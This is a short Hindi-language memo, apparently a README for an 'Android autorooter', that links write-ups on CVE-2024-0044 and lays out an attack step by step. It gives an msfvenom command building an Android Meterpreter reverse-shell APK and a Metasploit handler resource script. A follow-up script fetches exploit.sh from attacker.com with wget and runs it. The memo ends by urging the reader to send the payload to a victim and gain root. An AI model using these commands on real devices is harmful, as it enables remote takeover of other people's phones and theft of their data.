एंड्रॉइड ऑटोरूटर

[]

यह किसी भी चीज़ से अधिक एक मानसिक नोट है, यहाँ किए गए कार्य की संभावनाओं का और अधिक पता लगाने के लिए: https://rtx.meta.security/exploitation/2024/03/04/Android-run-as-forgery.html https://tinyhack.com/2024/06/07/extracting-whatsapp-database-or-any-app-data-from-android-12-13-using-cve-2024-0044/?s=03 https://www.mobile-hacker.com/2024/06/17/exfiltrate-sensitive-user-data-from-apps-on-android-12-and-13-using-cve-2024-0044-vulnerability/

आखिरकार, मैं एक स्व-निष्पादनशील एक्सप्लॉइट चाहता हूँ, लेकिन छोटे-छोटे कदम, हाँ..

इसे आज़माएँ

msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker_ip> LPORT=<attacker_port> R > payload.apk

कमांड को स्वचालित करने के लिए एक रिसोर्स स्क्रिप्ट execute_script.rc बनाएँ:

use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set LHOST <attacker_ip>
set LPORT <attacker_port>
exploit -j
set AutoRunScript multi_console_command -rc /path/to/commands.rc

आवश्यक कमांड के साथ रिसोर्स स्क्रिप्ट बनाएँ:

cd /data/local/tmp
wget http://attacker.com/exploit.sh -O exploit.sh
chmod +x exploit.sh
./exploit.sh

रिसोर्स स्क्रिप्ट के साथ Metasploit प्रारंभ करें:

msfconsole -r execute_script.rc

इसके साथ पार्टी शुरू करें:

msfconsole -r execute_script.rc

अब आपका listener/payload delivery सेट हो गया है... उस payload.apk को पीड़ित को भेजें.. चलो कुछ root हासिल करें baby